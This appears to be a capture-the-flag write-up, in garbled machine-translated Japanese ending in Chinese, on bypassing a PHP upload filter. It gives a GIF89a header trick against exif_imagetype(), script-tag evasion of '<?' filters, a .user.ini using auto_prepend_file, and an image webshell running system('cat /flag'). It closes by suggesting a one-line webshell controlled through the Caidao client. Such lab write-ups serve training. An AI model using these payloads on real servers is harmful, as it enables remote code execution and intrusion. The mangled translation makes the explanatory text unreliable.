ファイルのアップロード
ブラックリスト
PHPの呼び出しexif_imagetype()
機能を
GIF89aのファイルヘッダを使用してバイパスすることができます
のフィルタ処理テキストコンテンツ<?
<スクリプト言語= 'PHP'>の<script>バイパスすることができます
MIMEは、特殊な拡張子を変更し、使用して失敗しています
正しい姿勢:
使用.user.ini
.user.ini
私たちは、最初は、PHPマニュアルで見.user.ini
紹介:
私たちはできることを.user.ini
設定PHP_INI_PERDIR と PHP_INI_USER INI設定モード、および限りの使用として CGI / FastCGIのの サーバーモードを使用することができますがphp.ini
.user.ini
彼は、p牛の記事にある2つの興味深いセットに言及:auto_prepend_fileとauto_append_fileでインクルード
我々は、これら2つの設定を手動で定義を見て:
大体の意味:私たちは、index.phpの中で1を挿入と同様に、(例えばindex.phpを)そのファイルを実行するPHPファイルに含まれます(例えば、a.jpgなど)のファイルを指定します。require(./a.jpg);
これら2つの違いは、単に設定することであるauto_prepend_fileは、ファイルの前に挿入され、auto_append_fileでインクルードファイルの挿入端(ファイルが呼び出された場合exit()
、設定が無効である場合)
見て.user.ini
、私たちのアイデアを分析した後、我々はこれらのいずれかをアップロードすることができ、より明確にする必要があります.user.ini
:
GIF89aの
auto_prepend_file = a.jpg
然后再上传一个这样的图片马a.jpg:
GIF89a
<script language='php'>system('cat /flag');</script>
使上传路径下的php文件包含a.jpg
相当于调用require()函数
访问上传路径下的php文件即可得到flag
或者可以在a.jpg里写入一句话
菜刀连接后自己找flag